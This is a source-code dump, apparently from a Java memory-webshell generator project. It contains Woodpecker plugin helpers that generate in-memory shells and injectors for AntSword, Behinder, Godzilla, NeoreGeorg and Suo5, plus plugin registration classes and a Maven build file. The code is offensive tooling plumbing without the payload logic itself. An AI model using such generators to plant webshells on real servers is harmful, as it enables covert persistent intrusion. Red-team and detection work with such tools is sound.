| import jmg.core.generator.InjectorGenerator; 8 | import me.gv7.woodpecker.plugin.IResultOutput; 9 | import me.gv7.woodpecker.plugin.ShellHelperPlugin; 10 | import me.gv7.woodpecker.util.WoodpeckerResultUtil; 11 | 12 | import java.util.Map; 13 | 14 | public class AntSwordHelper extends ShellHelper { 15 | 16 | @Override 17 | public String getHelperTabCaption() { 18 | return Constants.TOOL_ANTSWORD; 19 | } 20 | 21 | @Override 22 | public void doHelp(Map customArgs, IResultOutput resultOutput) { 23 | try { 24 | AbstractConfig config = initConfig(customArgs); 25 | new AntSwordGenerator().makeShell(config); 26 | new InjectorGenerator().makeInjector(config); 27 | WoodpeckerResultUtil.printAntSwordBasicInfo(resultOutput, config); 28 | WoodpeckerResultUtil.printResult(resultOutput, config); 29 | WoodpeckerResultUtil.printDebugInfo(resultOutput, config); 30 | } catch (Exception e) { 31 | resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e)); 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/BehinderHelper.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.helper; 2 | 3 | import jmg.behinder.generator.BehinderGenerator; 4 | import jmg.core.config.AbstractConfig; 5 | import jmg.core.config.Constants; 6 | import jmg.core.generator.InjectorGenerator; 7 | import me.gv7.woodpecker.plugin.IResultOutput; 8 | import me.gv7.woodpecker.plugin.ShellHelperPlugin; 9 | import me.gv7.woodpecker.util.WoodpeckerResultUtil; 10 | 11 | import java.util.Map; 12 | 13 | public class BehinderHelper extends ShellHelper { 14 | 15 | 16 | @Override 17 | public String getHelperTabCaption() { 18 | return Constants.TOOL_BEHINDER; 19 | } 20 | 21 | @Override 22 | public void doHelp(Map customArgs, IResultOutput resultOutput) { 23 | try { 24 | AbstractConfig config = initConfig(customArgs); 25 | new BehinderGenerator().makeShell(config); 26 | new InjectorGenerator().makeInjector(config); 27 | WoodpeckerResultUtil.printBehinderBasicInfo(resultOutput, config); 28 | WoodpeckerResultUtil.printResult(resultOutput, config); 29 | WoodpeckerResultUtil.printDebugInfo(resultOutput, config); 30 | } catch (Exception e) { 31 | resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e)); 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/GodzillaHelper.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.helper; 2 | 3 | import jmg.core.config.AbstractConfig; 4 | import jmg.core.config.Constants; 5 | import jmg.core.generator.InjectorGenerator; 6 | import jmg.godzilla.generator.GodzillaGenerator; 7 | import me.gv7.woodpecker.plugin.IResultOutput; 8 | import me.gv7.woodpecker.plugin.ShellHelperPlugin; 9 | import me.gv7.woodpecker.util.WoodpeckerResultUtil; 10 | 11 | import java.util.Map; 12 | 13 | public class GodzillaHelper extends ShellHelper { 14 | 15 | @Override 16 | public String getHelperTabCaption() { 17 | return Constants.TOOL_GODZILLA; 18 | } 19 | 20 | @Override 21 | public void doHelp(Map customArgs, IResultOutput resultOutput) { 22 | try { 23 | AbstractConfig config = initConfig(customArgs); 24 | new GodzillaGenerator().makeShell(config); 25 | new InjectorGenerator().makeInjector(config); 26 | WoodpeckerResultUtil.printGodzillaBasicInfo(resultOutput, config); 27 | WoodpeckerResultUtil.printResult(resultOutput, config); 28 | WoodpeckerResultUtil.printDebugInfo(resultOutput, config); 29 | } catch (Exception e) { 30 | resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e)); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/NeoreGeorgHelper.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.helper; 2 | 3 | 4 | import jmg.core.config.AbstractConfig; 5 | import jmg.core.config.Constants; 6 | import jmg.core.generator.InjectorGenerator; 7 | import jmg.neoregeorg.generator.NeoreGeorgGenerator; 8 | import me.gv7.woodpecker.plugin.IResultOutput; 9 | import me.gv7.woodpecker.plugin.ProxyHelperPlugin; 10 | import me.gv7.woodpecker.util.WoodpeckerResultUtil; 11 | 12 | import java.util.Map; 13 | 14 | public class NeoreGeorgHelper extends ProxyHelper { 15 | 16 | @Override 17 | public String getHelperTabCaption() { 18 | return Constants.TOOL_NEOREGEORG; 19 | } 20 | 21 | @Override 22 | public void doHelp(Map customArgs, IResultOutput resultOutput) { 23 | try { 24 | AbstractConfig config = initConfig(customArgs, new AbstractConfig()); 25 | config.setKey("neorgkey"); 26 | new NeoreGeorgGenerator().makeShell(config); 27 | new InjectorGenerator().makeInjector(config); 28 | WoodpeckerResultUtil.printNeoreGeorgBasicInfo(resultOutput, config); 29 | WoodpeckerResultUtil.printResult(resultOutput, config); 30 | WoodpeckerResultUtil.printDebugInfo(resultOutput, config); 31 | } catch (Exception e) { 32 | resultOutput.errorPrintln(ProxyHelperPlugin.pluginHelper.getThrowableInfo(e)); 33 | } 34 | } 35 | 36 | } 37 | -------------------------------------------------------------------------------- /jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/Suo5Helper.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.helper; 2 | 3 | 4 | import jmg.core.config.AbstractConfig; 5 | import jmg.core.config.Constants; 6 | import jmg.core.generator.InjectorGenerator; 7 | import jmg.suo5.generator.Suo5Generator; 8 | import me.gv7.woodpecker.plugin.IResultOutput; 9 | import me.gv7.woodpecker.plugin.ProxyHelperPlugin; 10 | import me.gv7.woodpecker.util.WoodpeckerResultUtil; 11 | 12 | import java.util.Map; 13 | 14 | public class Suo5Helper extends ProxyHelper { 15 | 16 | @Override 17 | public String getHelperTabCaption() { 18 | return Constants.TOOL_SUO5; 19 | } 20 | 21 | @Override 22 | public void doHelp(Map customArgs, IResultOutput resultOutput) { 23 | try { 24 | AbstractConfig config = initConfig(customArgs, new AbstractConfig()); 25 | new Suo5Generator().makeShell(config); 26 | new InjectorGenerator().makeInjector(config); 27 | WoodpeckerResultUtil.printSuo5BasicInfo(resultOutput, config); 28 | WoodpeckerResultUtil.printResult(resultOutput, config); 29 | WoodpeckerResultUtil.printDebugInfo(resultOutput, config); 30 | } catch (Exception e) { 31 | resultOutput.errorPrintln(ProxyHelperPlugin.pluginHelper.getThrowableInfo(e)); 32 | } 33 | } 34 | 35 | } 36 | -------------------------------------------------------------------------------- /jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ProxyHelperPlugin.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.plugin; 2 | 3 | 4 | import jmg.core.config.Constants; 5 | import me.gv7.woodpecker.helper.NeoreGeorgHelper; 6 | import me.gv7.woodpecker.helper.Suo5Helper; 7 | 8 | import java.util.ArrayList; 9 | import java.util.List; 10 | 11 | public class ProxyHelperPlugin implements IHelperPlugin { 12 | public static IHelperPluginCallbacks callbacks; 13 | public static IPluginHelper pluginHelper; 14 | 15 | @Override 16 | public void HelperPluginMain(IHelperPluginCallbacks helperPluginCallbacks) { 17 | callbacks = helperPluginCallbacks; 18 | pluginHelper = callbacks.getPluginHelper(); 19 | callbacks.setHelperPluginName("JMG Proxy Helper"); 20 | callbacks.setHelperPluginVersion(Constants.JMG_VERSION); 21 | callbacks.setHelperPluginAutor(Constants.JMG_AUTHOR); 22 | callbacks.setHelperPluginDescription("Java 内存马生成器 - 代理"); 23 | List helperList = new ArrayList(); 24 | helperList.add(new Suo5Helper()); 25 | helperList.add(new NeoreGeorgHelper()); 26 | 27 | callbacks.registerHelper(helperList); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ShellHelperPlugin.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.plugin; 2 | 3 | import jmg.core.config.Constants; 4 | import me.gv7.woodpecker.helper.*; 5 | 6 | import java.util.ArrayList; 7 | import java.util.List; 8 | 9 | public class ShellHelperPlugin implements IHelperPlugin { 10 | public static IHelperPluginCallbacks callbacks; 11 | public static IPluginHelper pluginHelper; 12 | 13 | @Override 14 | public void HelperPluginMain(IHelperPluginCallbacks helperPluginCallbacks) { 15 | callbacks = helperPluginCallbacks; 16 | pluginHelper = callbacks.getPluginHelper(); 17 | callbacks.setHelperPluginName("JMG Shell Helper"); 18 | callbacks.setHelperPluginAutor(Constants.JMG_AUTHOR); 19 | callbacks.setHelperPluginVersion(Constants.JMG_VERSION); 20 | callbacks.setHelperPluginDescription("Java 内存马生成器"); 21 | List helperList = new ArrayList<>(); 22 | helperList.add(new AntSwordHelper()); 23 | helperList.add(new BehinderHelper()); 24 | helperList.add(new GodzillaHelper()); 25 | helperList.add(new CustomHelper()); 26 | callbacks.registerHelper(helperList); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.plugin; 2 | 3 | public class WoodpeckerPluginManager implements IPluginManager { 4 | public WoodpeckerPluginManager() { 5 | } 6 | 7 | @Override 8 | public void registerPluginManagerCallbacks(IPluginManagerCallbacks pluginManagerCallbacks) { 9 | pluginManagerCallbacks.registerHelperPlugin(new ShellHelperPlugin()); 10 | pluginManagerCallbacks.registerHelperPlugin(new ProxyHelperPlugin()); 11 | pluginManagerCallbacks.registerHelperPlugin(new ExtenderHelperPlugin()); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 | pom 8 | 1.0.9 9 | 10 | jmg-antsword 11 | jmg-behinder 12 | jmg-core 13 | jmg-custom 14 | jmg-godzilla 15 | jmg-gui 16 | jmg-neoregeorg 17 | jmg-suo5 18 | jmg-extender 19 | jmg-woodpecker 20 | jmg-sdk 21 | jmg-cli 22 | jmg-all 23 | 24 | 25 | 26 | UTF-8 27 | 8 28 | 8 29 | 30 | 31 | 32 | 33 | me.gv7.woodpecker 34 | woodpecker-bcel 35 | 0.1.0 36 | 37 | 38 | me.gv7.woodpecker 39 | woodpecker-tools 40 | 0.1.1 41 | 42 | 43 | me.gv7.woodpecker 44 | woodpecker-sdk 45 | 0.3.0 46 | 47 | 48 | javax.servlet 49 | javax.servlet-api 50 | 4.0.1 51 | 52 | 53 | org.javassist 54 | javassist 55 | 3.20.0-GA 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | org.apache.maven.plugins 64 | maven-assembly-plugin 65 | 3.6.0 66 | 67 | 68 | jar-with-dependencies 69 | 70 | 71 | 72 | 73 | make-assembly 74 | package 75 | 76 | single 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | --------------------------------------------------------------------------------